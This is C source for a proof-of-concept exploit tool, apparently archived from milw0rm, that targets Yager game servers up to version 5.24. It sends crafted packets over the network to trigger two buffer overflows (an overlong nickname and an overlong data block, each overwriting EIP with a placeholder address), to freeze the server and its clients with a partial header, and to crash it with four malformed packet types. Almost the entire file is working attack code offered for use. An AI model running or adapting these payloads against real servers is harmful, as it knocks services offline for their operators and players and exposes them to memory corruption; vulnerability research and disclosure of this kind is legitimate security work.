/* by Luigi Auriemma */ #include #include #include #include #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #else #include #include #include #include #include #include #endif #define VER "0.1" #define BUFFSZ (HEADSZ + 65536) #define PORT 34855 #define TIMEOUT 3 #define HEADSZ 10 #define EIP "\xde\xc0\xad\xde" #define CRASHSZ 100 #define NICKBOF "\x00\x00\x00\x00" /* vehicle type */ \ "\x01\x00\x00\x00" /* team */ \ "\xff\xff\xff\xff" /* nickname size, ignored! */ \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ EIP \ "aaaaaaaaaaaaaaaa\0" #define PCKBOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aa" EIP #define SHOW(x) printf(x "%n%s%n\n", &tmp, p, &len); \ p += (len - tmp) + 1; #define SENDTO(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \ < 0) std_err(); #define RECVFROM if(timeout(sd) < 0) { \ fputs("\nError: socket timeout, no reply received\n\n", stdout); \ exit(1); \ } \ len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \ if(len < 0) std_err(); #define SEND(x,y) if(send(sd, x, y, 0) \ < 0) std_err(); u_long resolv(char *host); int timeout(int sock); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, len, attack, tmp, autoport = 1; u_short port = PORT; u_char *buff, info[] = "Y_NET_YAGER_CLIENT\0" "\x00\x00" "\x00\x00", *p; struct yager_head { u_long type; u_short size; u_short pck1; u_short pck2; } *yh; setbuf(stdout, NULL); fputs("\n" "Yager <= 5.24 multiple vulnerabilities "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s [port(auto)]\n" "\n" "Attacks:\n" " 1 = nickname buffer-overflow\n" " 2 = big data buffer-overflow\n" " 3 = freeze of server and connected clients\n" " 4 = crash using type 0x1d (in 0x0050e970)\n" " 5 = crash using type 0x22 (in 0x004fd2b8)\n" " 6 = crash using type 0x24 (in 0x004fd2f5)\n" " 7 = crash using type 0x28 (in 0x004b0f1b)\n" "\n", argv[0]); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif if(argc > 3) { autoport = 0; port = atoi(argv[3]); } peer.sin_addr.s_addr = resolv(argv[2]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); buff = malloc(BUFFSZ); if(!buff) std_err(); if(autoport) { sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); fputs("- request informations:\n", stdout); *(u_short *)(info + 19) = ~time(NULL); SENDTO(info); RECVFROM; close(sd); p = buff + 19; port = ntohs(*(u_short *)p); printf("\n Server port %d\n", port); p += 2; SHOW(" Map "); printf(" Version %d.%d\n", p[1], p[0]); p += 2; SHOW(" Server name "); p += 4; printf(" Players %d / %d\n\n", p[1], p[0]); peer.sin_port = htons(port); } attack = atoi(argv[1]); if(attack > 7) { fputs("\nError: you have chosen a wrong attack number\n\n", stdout); exit(1); } sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); yh = (struct yager_head *)buff; yh->pck1 = tmp = ~time(NULL) & 0xffff; yh->pck2 = 0; if(attack == 1) { yh->type = 0x1e; memcpy(buff + HEADSZ, NICKBOF, sizeof(NICKBOF) - 1); yh->size = sizeof(NICKBOF) - 1; fputs("- send long data block for nickname buffer-overflow\n", stdout); } else if(attack == 2) { yh->type = 0x00; // almost any other type is ok memcpy(buff + HEADSZ, PCKBOF, sizeof(PCKBOF) - 1); yh->size = sizeof(PCKBOF) - 1; fputs("- send long data block for packet buffer-overflow\n", stdout); } else if(attack == 3) { yh->type = 0x1b; yh->size = 0; printf("- server waits for %d bytes but we send a partial header\n", HEADSZ); tmp %= HEADSZ; if(tmp <= 0) tmp = 1; SEND(buff, tmp); fputs(" Server and connected clients should be freezed, press RETURN to stop the attack\n", stdout); fgetc(stdin); close(sd); return(0); } else { if(attack == 4) { yh->type = 0x1d; } else if(attack == 5) { yh->type = 0x22; } else if(attack == 6) { yh->type = 0x24; } else if(attack == 7) { yh->type = 0x28; } memset(buff + HEADSZ, 0xff, CRASHSZ); yh->size = CRASHSZ; printf("- send crash data with type 0x%08lx\n", yh->type); } SEND(buff, yh->size + HEADSZ); fputs("- check server status\n", stdout); if(!timeout(sd)) { if(recv(sd, buff, BUFFSZ, 0) < 0) { fputs("\nServer IS vulnerable!!!\n\n", stdout); } else { fputs("\nServer doesn't seem vulnerable\n\n", stdout); } } else { fputs("\nNo reply from the server, it is probably not vulnerable\n\n", stdout); } close(sd); return(0); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2005-04-14]